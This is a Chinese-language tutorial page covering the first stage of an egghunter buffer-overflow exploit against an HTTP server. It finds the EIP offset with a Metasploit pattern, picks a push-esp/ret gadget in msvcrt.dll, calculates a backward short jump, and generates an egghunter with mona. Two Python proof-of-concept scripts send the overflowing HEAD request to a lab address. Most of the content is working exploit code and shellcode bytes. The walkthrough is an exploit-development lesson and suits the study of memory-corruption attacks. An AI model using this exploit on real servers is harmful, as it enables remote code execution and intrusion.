返回介绍

第一阶段

发布于 2025-01-03 23:32:53 字数 5059 浏览 0 评论 0 收藏 0

细心的读者可能注意到 POC 中缓冲区变量名是 Stage1, 更多在随后的 Stage2. 先找出 EIP 和 ESP 偏移.通常都用 metasplot pattern 替换原字符串。

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ 
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 600 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A 
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A 
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar 
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 

很好,重新布置我们的缓冲区. 515 字节覆盖到 EIP, ESP 指向 EIP 后面的区域。

Stage1 = "A"*515 + [EIP] + BBBBB.....

找一条直接跳转到 ESP 的指令. 记住不能有坏字符. 看下图,这有几个选择. 它们属于系统 dll 模块但这不重要。

选择其中一个指针. 这里我要解释第一阶段的目的:嵌入寻蛋指令. 现在有几个选择,我们可以把寻蛋指令放置在 ESP 处. 但为了整洁,我宁愿将寻蛋指令布置在被覆盖的 EIP 之前; 要做到这一点,我们将放置一个”短跳”指令,向后跳到我们的缓冲区。这种”短跳”只需要 2 个字节,所以我们要调整我们的缓冲区如下。

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll) Buffer: Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"B"*2

现在我们只是把短跳转指令设置为 BB, 新的 POC 如下:

#!/usr/bin/python
 
import socket
import os
import sys
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                      #
#-------------------------------------------------------------------------------#
# Stage1:                                     #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                 #
# (2) ESP: jump back 60 bytes in the buffer => ????               #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

重新打开这个 POC, 看到程序中断

完美! 继续 F7 最终会执行到 BB. 是时候设置跳转到寻蛋指令了. 短跳转用 EB+跳转的目标距离. 用 windows 的计算器就可以完成. 观察下面两张图

Short Jump = \xEB

-60 bytes = \xC4

在漏洞利用中其实 windows 的计算器也很有用. 现在验证我们算的对不对,新的缓冲区如下:

Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"\xEB\xC4"

运行 POC, 下图一断在短跳转指令, F7 后,再看下图二,程序往前跳了 60 字节,转到我们的寻蛋指令

第一阶段只剩下设置寻蛋指令了. 你可以使用或修改教程开头的那个寻蛋指令. 但是 mona 同样可以生产寻蛋指令。

!mona help egg 
!mona egg –t b33f 

上图可以看到寻蛋指令 32 字节. 下图可以看到寻蛋指令非常靠近 EIP 和短跳转指令。

#!/usr/bin/python
 
import socket
import os
import sys
 
#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
 
#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                      #
#-------------------------------------------------------------------------------#
# Stage1:                                     #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                 #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4             #
# (3) Enough room for egghunter; marker "b33f"                  #
#-------------------------------------------------------------------------------#
 
Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"
 
buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")
 
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文